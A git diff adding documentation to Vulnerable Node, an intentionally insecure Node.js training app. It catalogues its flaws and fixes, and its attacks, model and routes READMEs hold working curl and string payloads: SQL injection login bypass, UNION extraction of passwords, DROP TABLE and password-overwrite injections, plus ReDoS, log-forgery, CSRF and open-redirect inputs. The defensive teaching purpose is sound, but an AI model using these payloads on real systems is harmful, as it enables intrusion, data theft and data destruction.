price FROM products WHERE id = $1', [product_id]); +cart.price = product.price; // Server-side price +``` + +## A5 - Security Misconfiguration + +### V-007: Regular Expression Denial of Service (ReDoS) + +**CVSS Score:** 7.5 (High) + +**Location:** `routes/products.js:120` + +```javascript +var re = /^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/ +``` + +**Issue:** Nested quantifiers cause catastrophic backtracking + +**Exploitation:** + +```bash +POST /products/buy +mail=aaaaaaaaaaaaaaaaaaaaaaaaaaaa@ +# Causes exponential regex evaluation time +``` + +**Impact:** Denial of service, CPU exhaustion + +**Remediation:** Use simpler regex or dedicated email validation library + +--- + +### V-008: Hardcoded Secrets + +**CVSS Score:** 7.4 (High) + +**Location:** `config.js:4,12,20`, `app.js:44` + +```javascript +"server": "postgres://postgres:postgres@127.0.0.1" // Hardcoded credentials +``` + +**Impact:** Credential compromise, unauthorized database access + +**Remediation:** Use environment variables: + +```javascript +const dbUrl = process.env.DATABASE_URL; +``` + +## A6 - Sensitive Data Exposure + +### V-009: Information Disclosure via Error Messages + +**CVSS Score:** 5.3 (Medium) + +**Location:** `routes/login.js:39` + +```javascript +.catch(function (err) { + res.redirect("/login?returnurl=" + returnurl + "&error=" + err.message); +}); +``` + +**Issue:** Database error messages exposed to users + +**Example:** `User not found` vs generic `Invalid credentials` + +**Impact:** Username enumeration, system information disclosure + +**Remediation:** Generic error messages, log details server-side only + +--- + +### V-010: Log Injection + +**CVSS Score:** 5.3 (Medium) + +**Location:** `routes/login.js:26` + +```javascript +logger.error("Tried to login attempt from user = " + user); +``` + +**Exploitation:** + +```bash +POST /login/auth +username=admin\nINFO: Successful login from admin +password=test +``` + +**Impact:** Log forgery, false audit trails, log poisoning + +**Remediation:** Sanitize log inputs, use structured logging + +## A8 - Cross-Site Request Forgery (CSRF) + +### V-011: CSRF on Purchase Endpoint + +**CVSS Score:** 8.1 (High) + +**Location:** `routes/products.js:89` + +```javascript +router.all('/products/buy', function(req, res, next) { + // No CSRF token validation + // Accepts both GET and POST +``` + +**Exploitation:** + +```html + + +``` + +**Impact:** Unwanted purchases, financial loss + +**Remediation:** Use CSRF tokens: + +```javascript +const csrf = require('csurf'); +app.use(csrf()); +``` + +## A10 - Unvalidated Redirects + +### V-012: Open Redirect + +**CVSS Score:** 6.1 (Medium) + +**Location:** `routes/login.js:35`, `routes/login_check.js:6` + +```javascript +// No validation on returnurl +res.redirect(returnurl); +``` + +**Exploitation:** + +``` +http://localhost:3000/login?returnurl=http://evil.com/phishing +``` + +**Impact:** Phishing, malware distribution + +**Remediation:** Validate redirect URLs: + +```javascript +if (returnurl && returnurl.startsWith('/')) { + res.redirect(returnurl); +} else { + res.redirect('/'); +} +``` + +## Remediation Guide + +### Quick Fixes + +| Vulnerability | Fix Complexity | Priority | +|---------------|----------------|----------| +| SQL Injection | Medium | **Critical** | +| Plain Text Passwords | Medium | **Critical** | +| Weak Credentials | Easy | **High** | +| Hardcoded Secrets | Easy | **High** | +| CSRF | Easy | **High** | +| Insecure Sessions | Easy | **High** | +| Price Manipulation | Easy | **High** | +| Open Redirect | Easy | **Medium** | +| XSS | Easy | **Medium** | +| ReDoS | Medium | **Medium** | +| Info Disclosure | Easy | **Low** | +| Log Injection | Easy | **Low** | + +### Defense in Depth + +```mermaid +graph TD + A[Input Layer] --> B[Validation] + B --> C[Sanitization] + C --> D[Parameterization] + D --> E[Business Logic] + E --> F[Output Encoding] + F --> G[Security Headers] + G --> H[Safe Response] + + style B fill:#99ff99 + style C fill:#99ff99 + style D fill:#99ff99 + style F fill:#99ff99 +``` + +### Secure Development Checklist + +- [ ] Use parameterized queries for all database operations +- [ ] Hash passwords with bcrypt/argon2 +- [ ] Validate and sanitize all user inputs +- [ ] Implement CSRF protection +- [ ] Use secure session configuration +- [ ] Validate redirect URLs +- [ ] Encode output to prevent XSS +- [ ] Store secrets in environment variables +- [ ] Implement rate limiting +- [ ] Use security headers (CSP, HSTS, etc.) +- [ ] Log security events properly +- [ ] Perform regular security audits + +--- + +> [!IMPORTANT] +> This application is for security testing only. Never deploy it in production or expose it to the internet. + +For attack demonstrations, see [attacks/README.md](./attacks/README.md). diff --git a/attacks/README.md b/attacks/README.md index b26f574d..16ca93ee 100644 --- a/attacks/README.md +++ b/attacks/README.md @@ -1,4 +1,155 @@ -What contains this folders? -=========================== +--- +author: Daniel Garcia (cr0hn) - @ggdaniel +description: Proof-of-concept attack scripts and exploitation examples for Vulnerable Node +last_changed: 2025-11-05 +--- -This folder contains attacks for some vulnerabilities of the vulnerable application. \ No newline at end of file +# Attack Examples + +This directory contains proof-of-concept scripts and documentation demonstrating how to exploit the vulnerabilities in the Vulnerable Node application. + +## Table of Contents + +- [Overview](#overview) +- [Available Attacks](#available-attacks) +- [Usage Guidelines](#usage-guidelines) +- [Attack Categories](#attack-categories) + +## Overview + +These attack examples are provided for: +- **Security testing** - Validate that security tools detect these vulnerabilities +- **Education** - Learn how attacks work in a safe environment +- **Training** - Practice exploitation techniques + +> [!CAUTION] +> These scripts are for educational and authorized testing only. Never use them against systems you don't own or have explicit permission to test. + +## Available Attacks + +### sqli/ - SQL Injection + +SQL injection attack examples demonstrating authentication bypass and data extraction. + +**Vulnerabilities Exploited:** +- Authentication bypass (login) +- Data disclosure (product queries) +- Data manipulation (purchase injection) + +### csrf/ - Cross-Site Request Forgery + +CSRF attack examples showing how to forge purchase requests. + +**Vulnerabilities Exploited:** +- Missing CSRF tokens +- GET-based state changes +- No origin validation + +### evil_regex/ - Regular Expression Denial of Service (ReDoS) + +Examples of catastrophic backtracking in the email validation regex. + +**Vulnerabilities Exploited:** +- ReDoS in email validation pattern +- Algorithmic complexity attacks + +### log_injection.sh - Log Injection + +Script demonstrating log injection via unsanitized username input. + +**Vulnerabilities Exploited:** +- Unescaped logging of user input +- Log forgery potential + +## Usage Guidelines + +> [!WARNING] +> Only use these attacks in controlled environments: +> - Local development machines +> - Authorized penetration testing labs +> - Security training environments + +### Prerequisites + +- Vulnerable Node application running +- Network access to the application +- Appropriate tools (curl, browser, scripts) + +### Legal and Ethical Considerations + +✅ **Allowed:** +- Testing your own deployment +- Educational purposes in controlled labs +- Security research with permission + +❌ **Never:** +- Attack production systems +- Test systems without authorization +- Use for malicious purposes + +## Attack Categories + +### Authentication Attacks + +**SQL Injection - Authentication Bypass** + +```bash +# Bypass login with SQL injection +curl -X POST http://localhost:3000/login/auth \ + -d "username=admin' --&password=anything" +``` + +### Data Extraction Attacks + +**SQL Injection - Extract User Data** + +```bash +# Extract usernames and passwords via UNION injection +curl "http://localhost:3000/products/search?q=' UNION SELECT name, password, null, null, null FROM users --" +``` + +### Data Manipulation Attacks + +**SQL Injection - Modify Purchase Data** + +```bash +# Inject malicious data into purchase +curl -X POST http://localhost:3000/products/buy \ + -d "product_id=1&product_name=Test&price=1&mail=test'; UPDATE users SET password='hacked' WHERE name='admin'; --&..." +``` + +### Denial of Service Attacks + +**ReDoS - Email Validation** + +```bash +# Trigger catastrophic backtracking +curl -X POST http://localhost:3000/products/buy \ + -d "mail=aaaaaaaaaaaaaaaaaaaaaaaaaaaa@&product_id=1&..." +``` + +### Session Attacks + +**CSRF - Forged Purchase** + +```html + + +``` + +### Redirect Attacks + +**Open Redirect - Phishing** + +```bash +# Redirect user to malicious site after login +curl "http://localhost:3000/login?returnurl=http://evil.com/phishing" +``` + +--- + +> [!NOTE] +> For detailed vulnerability documentation, see [SECURITY.md](../SECURITY.md) + +> [!TIP] +> Use these examples as templates to create your own security test cases \ No newline at end of file diff --git a/model/README.md b/model/README.md new file mode 100644 index 00000000..df8cef0f --- /dev/null +++ b/model/README.md @@ -0,0 +1,467 @@ +--- +author: Daniel Garcia (cr0hn) - @ggdaniel +description: Documentation for the data access layer in the Vulnerable Node application +last_changed: 2025-11-05 +--- + +# Model Module + +The model directory contains the data access layer (DAL) for the Vulnerable Node application. These modules interact with the PostgreSQL database to perform CRUD operations for users, products, and purchases. + +## Table of Contents + +- [Overview](#overview) +- [Database Schema](#database-schema) +- [Module Files](#module-files) +- [Critical Vulnerabilities](#critical-vulnerabilities) +- [Database Operations](#database-operations) +- [Security Anti-Patterns](#security-anti-patterns) + +## Overview + +The model layer uses the `pg-promise` library to connect to PostgreSQL and execute queries. **All database operations in this module contain intentional SQL injection vulnerabilities** through direct string concatenation of user inputs. + +```mermaid +graph LR + A[Routes Layer] --> B[Model Layer] + B --> C[pg-promise] + C --> D[PostgreSQL Database] + + style B fill:#ff9999 + style D fill:#99ccff +``` + +## Database Schema + +The application uses three main tables: + +### users + +Stores user authentication credentials. + +| Column | Type | Constraints | Description | +|--------|------|-------------|-------------| +| name | VARCHAR(100) | PRIMARY KEY | Username (login identifier) | +| password | VARCHAR(50) | | Plain text password (VULNERABLE) | + +**Example Data:** +```sql +INSERT INTO users (name, password) VALUES + ('admin', 'admin'), + ('roberto', 'asdfpiuw981'); +``` + +> [!WARNING] +> Passwords are stored in plain text - another intentional vulnerability! + +### products + +Product catalog information. + +| Column | Type | Constraints | Description | +|--------|------|-------------|-------------| +| id | INTEGER | PRIMARY KEY | Product identifier | +| name | VARCHAR(100) | NOT NULL | Product name | +| description | TEXT | NOT NULL | Product description | +| price | INTEGER | | Price in currency units | +| image | VARCHAR(500) | | Image filename | + +### purchases + +Customer purchase history. + +| Column | Type | Constraints | Description | +|--------|------|-------------|-------------| +| id | SERIAL | PRIMARY KEY | Auto-incrementing purchase ID | +| product_id | INTEGER | NOT NULL | Reference to product | +| product_name | VARCHAR(100) | NOT NULL | Product name (denormalized) | +| user_name | VARCHAR(100) | | Purchaser username | +| mail | VARCHAR(100) | NOT NULL | Customer email | +| address | VARCHAR(100) | NOT NULL | Shipping address | +| phone | VARCHAR(40) | NOT NULL | Contact phone | +| ship_date | VARCHAR(100) | NOT NULL | Requested ship date | +| price | INTEGER | NOT NULL | Purchase price | + +## Module Files + +### auth.js + +**Purpose:** User authentication + +**Function:** `do_auth(username, password)` + +Authenticates a user by querying the database with provided credentials. + +**Returns:** Promise resolving to user record if credentials are valid + +**Vulnerability:** SQL Injection (OWASP A1) + +```javascript +// VULNERABLE CODE +var q = "SELECT * FROM users WHERE name = '" + username + + "' AND password ='" + password + "';"; +``` + +**Attack Example:** +```javascript +// Bypass authentication +do_auth("admin' --", "anything") +// Generates: SELECT * FROM users WHERE name = 'admin' --' AND password ='anything'; +// The -- comments out the password check +``` + +### products.js + +**Purpose:** Product catalog and purchase operations + +**Functions:** + +#### `list()` + +Retrieves all products from the catalog. + +**Returns:** Promise resolving to array of all products + +**Vulnerability:** None (no user input) + +--- + +#### `getProduct(product_id)` + +Fetches details for a specific product. + +**Parameters:** +- `product_id` - Product identifier + +**Returns:** Promise resolving to product record + +**Vulnerability:** SQL Injection via product_id + +```javascript +// VULNERABLE CODE +var q = "SELECT * FROM products WHERE id = '" + product_id + "';"; +``` + +**Attack Example:** +```javascript +getProduct("1' OR '1'='1") +// Returns all products instead of just product 1 +``` + +--- + +#### `search(query)` + +Searches products by name or description. + +**Parameters:** +- `query` - Search term + +**Returns:** Promise resolving to matching products + +**Vulnerability:** SQL Injection via query parameter + +```javascript +// VULNERABLE CODE +var q = "SELECT * FROM products WHERE name ILIKE '%" + query + + "%' OR description ILIKE '%" + query + "%';"; +``` + +**Attack Examples:** +```javascript +// Extract data +search("'; SELECT * FROM users; --") + +// Drop tables (destructive) +search("'; DROP TABLE products; --") +``` + +--- + +#### `purchase(cart)` + +Records a product purchase in the database. + +**Parameters:** +- `cart` - Object containing: + - `mail` - Customer email + - `product_name` - Product name + - `username` - Buyer username + - `product_id` - Product ID + - `address` - Shipping address + - `ship_date` - Requested ship date + - `phone` - Contact phone + - `price` - Purchase price + +**Returns:** Promise resolving to inserted purchase record + +**Vulnerability:** Multiple SQL injection points + +```javascript +// VULNERABLE CODE - All fields concatenated +var q = "INSERT INTO purchases(...) VALUES('" + + cart.mail + "', '" + + cart.product_name + "', '" + + // ... more unescaped values +``` + +**Attack Example:** +```javascript +purchase({ + mail: "test@test.com'; DROP TABLE purchases; --", + // ... other fields +}) +// Attempts to drop the purchases table +``` + +--- + +#### `getPurchased(username)` + +Retrieves all purchases for a specific user. + +**Parameters:** +- `username` - User to fetch purchases for + +**Returns:** Promise resolving to array of purchase records + +**Vulnerability:** SQL Injection via username + +```javascript +// VULNERABLE CODE +var q = "SELECT * FROM purchases WHERE user_name = '" + username + "';"; +``` + +**Attack Example:** +```javascript +getPurchased("' OR '1'='1") +// Returns ALL purchases from ALL users +``` + +### init_db.js + +**Purpose:** Database initialization and test data population + +**Function:** `init_db()` + +Creates database tables and populates them with dummy data on application startup. + +**Strategy:** +- Attempts to CREATE tables +- If CREATE fails (table exists), inserts dummy data +- Uses parameterized queries for data insertion (SAFE) + +**Tables Created:** +1. `users` - User accounts +2. `products` - Product catalog +3. `purchases` - Purchase history + +**Note:** This module uses **safe parameterized queries** for inserting test data, demonstrating the correct approach that is intentionally NOT used in the other modules. + +```javascript +// SAFE CODE (used only in init_db.js) +db.one('INSERT INTO users(name, password) values($1, $2)', [u.username, u.password]) +``` + +## Critical Vulnerabilities + +### SQL Injection Overview + +All query functions (except `init_db.js`) concatenate user input directly into SQL statements without: +- Parameterization +- Input validation +- Escaping +- Sanitization + +```mermaid +flowchart TD + A[User Input] --> B{Validated?} + B -->|No| C[Direct Concatenation] + C --> D[SQL Injection Vulnerability] + B -->|Yes| E[Parameterized Query] + E --> F[Safe Execution] + + style C fill:#ff9999 + style D fill:#ff6666 + style E fill:#99ff99 + style F fill:#66ff66 +``` + +### Impact Assessment + +| Function | Vulnerability | CIA Impact | Exploitability | +|----------|---------------|------------|----------------| +| `do_auth()` | SQL Injection | **High** - Auth bypass | **Critical** - Easy | +| `getProduct()` | SQL Injection | Medium - Data disclosure | High - Simple | +| `search()` | SQL Injection | **Critical** - Full DB access | **Critical** - Easy | +| `purchase()` | SQL Injection | **Critical** - Data manipulation | High - Complex payload | +| `getPurchased()` | SQL Injection | **High** - PII disclosure | High - Simple | + +**CIA:** Confidentiality, Integrity, Availability + +## Database Operations + +### Connection Management + +```javascript +// Shared configuration +var config = require("../config"); +var pgp = require('pg-promise')(); + +// Per-query connection (auth.js) +function do_auth(username, password) { + var db = pgp(config.db.connectionString); + // ... use db +} + +// Persistent connection (products.js) +var db = pgp(config.db.connectionString); +// ... reuse db across functions +``` + +### Query Patterns + +**Current (Vulnerable) Pattern:** +```javascript +// ❌ VULNERABLE - String concatenation +var q = "SELECT * FROM table WHERE column = '" + userInput + "';"; +return db.one(q); +``` + +**Secure Pattern (NOT used in this project):** +```javascript +// ✅ SECURE - Parameterized query +var q = "SELECT * FROM table WHERE column = $1"; +return db.one(q, [userInput]); +``` + +## Security Anti-Patterns + +This module demonstrates several security anti-patterns that should **NEVER** be used in production: + +### 1. Direct String Concatenation + +```javascript +// WRONG +"SELECT * FROM users WHERE name = '" + username + "'" +``` + +### 2. No Input Validation + +```javascript +// No checks on username format, length, or content +function do_auth(username, password) { + // Immediately use in query without validation + var q = "SELECT * FROM users WHERE name = '" + username + "'"; +} +``` + +### 3. Plain Text Passwords + +```javascript +// Passwords stored in plain text in database +// No hashing, no salting, no encryption +``` + +### 4. Verbose Error Messages + +```javascript +// Database errors propagated to user +// (Handled in routes layer, but originates here) +``` + +### 5. No Prepared Statements + +```javascript +// Every query is dynamic +// No use of prepared statements or stored procedures +``` + +## Secure Alternatives + +> [!NOTE] +> These patterns are NOT implemented in this vulnerable application but show the correct approach. + +### Parameterized Queries + +```javascript +// Use pg-promise placeholders +function secure_auth(username, password) { + var db = pgp(config.db.connectionString); + var q = "SELECT * FROM users WHERE name = $1 AND password = $2"; + return db.one(q, [username, password]); +} +``` + +### Password Hashing + +```javascript +const bcrypt = require('bcrypt'); + +// Store hashed passwords +async function createUser(username, password) { + const hash = await bcrypt.hash(password, 10); + var q = "INSERT INTO users(name, password) VALUES($1, $2)"; + return db.one(q, [username, hash]); +} + +// Verify passwords +async function authenticate(username, password) { + var q = "SELECT * FROM users WHERE name = $1"; + const user = await db.one(q, [username]); + return bcrypt.compare(password, user.password); +} +``` + +### Input Validation + +```javascript +function validateProductId(id) { + // Ensure ID is numeric + if (!/^\d+$/.test(id)) { + throw new Error("Invalid product ID"); + } + return parseInt(id); +} + +function getProduct(product_id) { + const validId = validateProductId(product_id); + var q = "SELECT * FROM products WHERE id = $1"; + return db.one(q, [validId]); +} +``` + +## Testing SQL Injection + +### Authentication Bypass + +```bash +# Login as admin without password +curl -X POST http://localhost:3000/login/auth \ + -d "username=admin' --&password=anything" +``` + +### Data Extraction + +```bash +# Search to extract user data +curl "http://localhost:3000/products/search?q=' UNION SELECT name, password, null, null, null FROM users --" +``` + +### Boolean-Based Blind SQL Injection + +```bash +# Test if admin user exists +curl "http://localhost:3000/products/detail?id=1' AND (SELECT COUNT(*) FROM users WHERE name='admin')>0 --" +``` + +## Related Documentation + +- [Routes Layer](../routes/README.md) - HTTP handlers that call these functions +- [SECURITY.md](../SECURITY.md) - Complete vulnerability documentation +- [Attack Examples](../attacks/README.md) - SQL injection demonstrations + +--- + +> [!CAUTION] +> This data access layer is intentionally vulnerable. Never use these patterns in production code. Always use parameterized queries and input validation. diff --git a/public/README.md b/public/README.md new file mode 100644 index 00000000..ad454df9 --- /dev/null +++ b/public/README.md @@ -0,0 +1,143 @@ +--- +author: Daniel Garcia (cr0hn) - @ggdaniel +description: Documentation for static assets in the Vulnerable Node application +last_changed: 2025-11-05 +--- + +# Public Assets + +This directory contains static files served directly to clients without processing. These assets include stylesheets, client-side JavaScript, images, and fonts. + +## Directory Structure + +``` +public/ +├── css/ # Stylesheets +│ └── *.css # Bootstrap and custom styles +├── js/ # Client-side JavaScript +│ ├── jquery.js # jQuery library +│ ├── bootstrap.js # Bootstrap framework +│ └── freewall.js # Masonry layout library +├── images/ # Product and UI images +│ └── product_*.jpg # Product catalog images +└── fonts/ # Web fonts + └── *.woff # Font files for Bootstrap +``` + +## CSS Directory + +Contains stylesheets for the application UI: + +- **bootstrap.css** - Bootstrap CSS framework for responsive layout +- **bootstrap.min.css** - Minified version for production +- **Custom styles** - Application-specific styling + +## JavaScript Directory + +Client-side JavaScript libraries and scripts: + +### jquery.js +- **Purpose:** DOM manipulation and AJAX functionality +- **Version:** Check file for specific version +- **Usage:** Required by Bootstrap and custom scripts + +### bootstrap.js / bootstrap.min.js +- **Purpose:** Bootstrap framework components (modals, dropdowns, etc.) +- **Dependencies:** jQuery +- **Usage:** Provides interactive UI components + +### freewall.js +- **Purpose:** Masonry-style grid layout for product display +- **Usage:** Creates responsive product grid on catalog pages + +## Images Directory + +Product images and UI assets: + +- **product_1.jpg through product_8.jpg** - Product catalog images +- Images correspond to products defined in `dummy.js` +- Used in product listings, details, and purchase history + +## Fonts Directory + +Web fonts for consistent typography: + +- **Bootstrap Glyphicons** - Icon fonts included with Bootstrap +- **Format:** WOFF, WOFF2, TTF, EOT for browser compatibility + +## Static File Serving + +Static files are served via Express middleware: + +```javascript +// In app.js +app.use(express.static(path.join(__dirname, 'public'))); +``` + +**URL Mapping:** +``` +public/css/bootstrap.css → http://localhost:3000/css/bootstrap.css +public/js/jquery.js → http://localhost:3000/js/jquery.js +public/images/product_1.jpg → http://localhost:3000/images/product_1.jpg +``` + +## Security Considerations + +> [!NOTE] +> While this directory contains mostly benign static assets, keep these security considerations in mind: + +### Potential Issues + +1. **Outdated Libraries** - jQuery and Bootstrap versions may have known vulnerabilities +2. **No Integrity Checks** - Files served without Subresource Integrity (SRI) validation +3. **No CSP Headers** - Content Security Policy not enforced +4. **Directory Listing** - Ensure directory browsing is disabled + +### Safe Practices (Not Implemented) + +```javascript +// Use SRI for external libraries + + +// Implement Content Security Policy +app.use(helmet.contentSecurityPolicy({ + directives: { + defaultSrc: ["'self'"], + styleSrc: ["'self'", "'unsafe-inline'"], + scriptSrc: ["'self'"] + } +})); +``` + +## Adding New Assets + +When adding new static assets: + +1. **Place in appropriate subdirectory** (css/, js/, images/, fonts/) +2. **Use descriptive filenames** (e.g., `login-page-styles.css`) +3. **Optimize files** - Minify CSS/JS, compress images +4. **Update documentation** - Document new assets and their purpose +5. **Check licenses** - Ensure third-party assets are properly licensed + +## Performance Optimization + +> [!TIP] +> For production deployments (not this vulnerable demo), consider: + +- **CDN delivery** - Serve static assets from CDN +- **Compression** - Enable gzip/brotli compression +- **Caching headers** - Set appropriate Cache-Control headers +- **Minification** - Minify CSS and JavaScript +- **Image optimization** - Compress images without quality loss + +## Related Documentation + +- [Architecture Overview](../ARCHITECTURE.md) - Application architecture +- [Contributing Guide](../CONTRIBUTING.md) - How to contribute + +--- + +> [!NOTE] +> This directory is served directly to clients and should only contain publicly accessible files. diff --git a/routes/README.md b/routes/README.md new file mode 100644 index 00000000..3a1eac45 --- /dev/null +++ b/routes/README.md @@ -0,0 +1,313 @@ +--- +author: Daniel Garcia (cr0hn) - @ggdaniel +description: Documentation for HTTP route handlers in the Vulnerable Node application +last_changed: 2025-11-05 +--- + +# Routes Module + +This directory contains the HTTP route handlers for the Vulnerable Node application. These modules define the application's URL endpoints and handle incoming requests. + +## Table of Contents + +- [Overview](#overview) +- [Route Files](#route-files) +- [Request Flow](#request-flow) +- [Authentication Flow](#authentication-flow) +- [Common Vulnerabilities](#common-vulnerabilities) +- [Usage Examples](#usage-examples) + +## Overview + +The routes module implements the presentation layer of the application using Express.js routers. Each file handles a specific domain of functionality: + +- **Authentication** - User login and session management +- **Products** - Product catalog and e-commerce operations +- **Session validation** - Middleware for protected routes + +## Route Files + +### login.js + +**Purpose:** Handles user authentication and session management + +**Endpoints:** + +| Method | Path | Description | Authentication | +|--------|------|-------------|----------------| +| GET | `/login` | Display login form | None | +| POST | `/login/auth` | Process login credentials | None | +| GET | `/logout` | End user session | None | + +**Key Vulnerabilities:** +- SQL Injection via `auth()` call +- Open Redirect via `returnurl` parameter +- XSS via unsanitized error messages +- Log Injection via username logging + +**Example Usage:** +```bash +# Normal login +curl -X POST http://localhost:3000/login/auth \ + -d "username=admin&password=admin" + +# SQL injection bypass +curl -X POST http://localhost:3000/login/auth \ + -d "username=admin'--&password=anything" +``` + +### products.js + +**Purpose:** Product browsing, searching, and purchasing functionality + +**Endpoints:** + +| Method | Path | Description | Authentication | +|--------|------|-------------|----------------| +| GET | `/` | List all products | Required | +| GET | `/products/detail` | Show product details | Required | +| GET | `/products/search` | Search products | Required | +| GET | `/products/purchased` | View purchase history | Required | +| ALL | `/products/buy` | Purchase a product | Required | + +**Key Vulnerabilities:** +- SQL Injection in search, detail, and purchase queries +- Price manipulation (client controls price) +- CSRF on purchase endpoint +- ReDoS in email validation +- Insecure Direct Object References + +**Example Usage:** +```bash +# Search products (with SQL injection) +curl http://localhost:3000/products/search?q=wallet + +# SQL injection in search +curl "http://localhost:3000/products/search?q='; DROP TABLE products; --" + +# Purchase with manipulated price (CSRF + Price manipulation) +curl "http://localhost:3000/products/buy?product_id=1&product_name=Test&price=1€&mail=test@test.com&address=123 Main St&phone=555-1234&ship_date=2025-12-01" +``` + +### login_check.js + +**Purpose:** Middleware for validating user authentication + +**Functionality:** +- Checks if `req.session.logged` is true +- Redirects unauthenticated users to login page +- Preserves return URL for post-login redirect + +**Key Vulnerability:** +- Open Redirect via unvalidated `req.url` in returnurl + +**Usage:** +```javascript +// In other route files +var check_logged = require("./login_check"); + +router.get('/protected-route', function(req, res) { + check_logged(req, res); // Redirect to login if not authenticated + // ... protected route logic +}); +``` + +## Request Flow + +```mermaid +sequenceDiagram + participant Client + participant Router + participant Middleware + participant Auth + participant Database + + Client->>Router: GET /products + Router->>Middleware: check_logged() + + alt Not Authenticated + Middleware->>Client: Redirect to /login + else Authenticated + Middleware->>Router: Continue + Router->>Database: Query products + Database->>Router: Return data + Router->>Client: Render view + end +``` + +## Authentication Flow + +```mermaid +flowchart TD + A[User visits protected page] --> B{Session valid?} + B -->|No| C[Redirect to /login with returnurl] + B -->|Yes| D[Allow access to page] + + C --> E[User submits credentials] + E --> F[POST /login/auth] + F --> G{Valid credentials?} + + G -->|Yes| H[Create session] + G -->|No| I[Redirect with error message] + + H --> J{returnurl provided?} + J -->|Yes| K[Redirect to returnurl] + J -->|No| L[Redirect to home /] + + I --> C +``` + +## Common Vulnerabilities + +> [!WARNING] +> These are intentional vulnerabilities for security testing. Do not replicate these patterns in production code. + +### SQL Injection + +**Location:** All database queries in `products.js` and via `auth()` in `login.js` + +**Problem:** User input directly concatenated into SQL queries + +**Example:** +```javascript +// VULNERABLE CODE +var q = "SELECT * FROM products WHERE id = '" + product_id + "';"; +``` + +**Secure Alternative:** +```javascript +// SECURE CODE (NOT in this project) +var q = "SELECT * FROM products WHERE id = $1"; +db.one(q, [product_id]); +``` + +### Open Redirect + +**Location:** `login.js`, `login_check.js` + +**Problem:** `returnurl` parameter not validated + +**Example Attack:** +``` +http://localhost:3000/login?returnurl=http://evil.com/phishing +``` + +**Secure Alternative:** +```javascript +// Validate returnurl is internal +if (returnurl && returnurl.startsWith('/')) { + res.redirect(returnurl); +} else { + res.redirect('/'); +} +``` + +### CSRF + +**Location:** `/products/buy` endpoint + +**Problem:** No CSRF token validation, accepts GET requests + +**Example Attack:** +```html + + +``` + +**Secure Alternative:** +```javascript +// Use CSRF tokens +const csrf = require('csurf'); +app.use(csrf()); + +// Only accept POST for state-changing operations +router.post('/products/buy', function(req, res) { + // Validate CSRF token + // Process purchase +}); +``` + +### Price Manipulation + +**Location:** `/products/buy` endpoint + +**Problem:** Client submits the price, server doesn't verify + +**Example Attack:** +```bash +# Buy expensive item for 1€ +curl "http://localhost:3000/products/buy?product_id=1&price=1€&..." +``` + +**Secure Alternative:** +```javascript +// Look up actual price from database +db.one('SELECT price FROM products WHERE id = $1', [product_id]) + .then(function(product) { + cart.price = product.price; // Use verified price + // Process purchase + }); +``` + +## Usage Examples + +### Normal Product Browsing Flow + +```javascript +// 1. User logs in +POST /login/auth + username=admin + password=admin + +// 2. View product catalog +GET / + +// 3. Search for products +GET /products/search?q=phone + +// 4. View product details +GET /products/detail?id=5 + +// 5. Purchase product +POST /products/buy + product_id=5 + product_name=Phone Fingers + price=3€ + mail=user@example.com + address=123 Main St + phone=555-1234 + ship_date=2025-12-01 + +// 6. View purchase history +GET /products/purchased +``` + +### Attack Demonstration Flow + +```javascript +// SQL Injection - Bypass authentication +POST /login/auth + username=admin'-- + password=anything + +// SQL Injection - View all purchases +GET /products/purchased + (session.user_name = "' OR '1'='1") + +// CSRF - Trick user into making purchase +GET /products/buy?product_id=1&price=1€&... + +// Open Redirect - Phishing attack +GET /login?returnurl=http://evil.com/fake-login +``` + +## Related Documentation + +- [Model Layer](../model/README.md) - Database operations and vulnerabilities +- [SECURITY.md](../SECURITY.md) - Comprehensive vulnerability documentation +- [Attack Examples](../attacks/README.md) - Exploitation demonstrations + +--- + +> [!CAUTION] +> These routes contain intentional security vulnerabilities. Never use this code in production applications. diff --git a/services/README.md b/services/README.md new file mode 100644 index 00000000..2905ca3b --- /dev/null +++ b/services/README.md @@ -0,0 +1,275 @@ +--- +author: Daniel Garcia (cr0hn) - @ggdaniel +description: Documentation for supporting services in the Vulnerable Node application +last_changed: 2025-11-05 +--- + +# Services + +This directory contains configuration and setup files for supporting services required by the Vulnerable Node application. + +## Directory Structure + +``` +services/ +└── postgresql/ + └── init.sql # Database initialization script (optional) +``` + +## PostgreSQL Service + +The PostgreSQL service provides the relational database backend for the application. + +### Configuration + +**Docker Compose Configuration:** + +```yaml +postgres_db: + image: postgres:latest + environment: + POSTGRES_USER: postgres + POSTGRES_PASSWORD: postgres + POSTGRES_DB: vulnerablenode + ports: + - "5432:5432" + volumes: + - ./services/postgresql:/docker-entrypoint-initdb.d +``` + +### Database Details + +| Property | Value | +|----------|-------| +| **Host** | postgres_db (Docker) or 127.0.0.1 (Local) | +| **Port** | 5432 | +| **Database** | vulnerablenode | +| **Username** | postgres | +| **Password** | postgres | + +> [!WARNING] +> These are intentionally weak credentials for a demonstration application. Never use default credentials in production. + +### Database Schema + +The database is initialized by `model/init_db.js`, which creates three tables: + +1. **users** - User authentication credentials +2. **products** - Product catalog +3. **purchases** - Purchase history + +See [model/README.md](../model/README.md) for detailed schema information. + +### Connection Strings + +**Local Development:** +``` +postgres://postgres:postgres@127.0.0.1/vulnerablenode +``` + +**Docker Deployment:** +``` +postgres://postgres:postgres@postgres_db/vulnerablenode +``` + +**Development Environment:** +``` +postgres://postgres:postgres@10.211.55.70/vulnerablenode +``` + +### Initialization Scripts + +Any `.sql` files placed in `services/postgresql/` will be automatically executed when the PostgreSQL container starts for the first time. + +**Example init.sql:** +```sql +-- Optional: Additional database setup +CREATE EXTENSION IF NOT EXISTS "uuid-ossp"; + +-- Optional: Additional indexes +CREATE INDEX idx_products_name ON products(name); +CREATE INDEX idx_purchases_user ON purchases(user_name); +``` + +> [!NOTE] +> The application uses `init_db.js` for schema creation, so SQL initialization scripts are optional. + +## Adding New Services + +To add additional services: + +### 1. Create Service Directory + +```bash +mkdir services/new-service +``` + +### 2. Add Configuration Files + +Place service-specific configuration in the directory: +``` +services/ +└── new-service/ + ├── config.yml + └── init-script.sh +``` + +### 3. Update docker-compose.yml + +```yaml +new_service: + image: service-image:latest + environment: + SERVICE_CONFIG: value + volumes: + - ./services/new-service:/config +``` + +### 4. Document Service + +Add documentation to this README explaining: +- Service purpose +- Configuration options +- Connection details +- Usage examples + +## Service Management + +### Starting Services + +**All services:** +```bash +docker-compose up -d +``` + +**Specific service:** +```bash +docker-compose up -d postgres_db +``` + +### Stopping Services + +**All services:** +```bash +docker-compose down +``` + 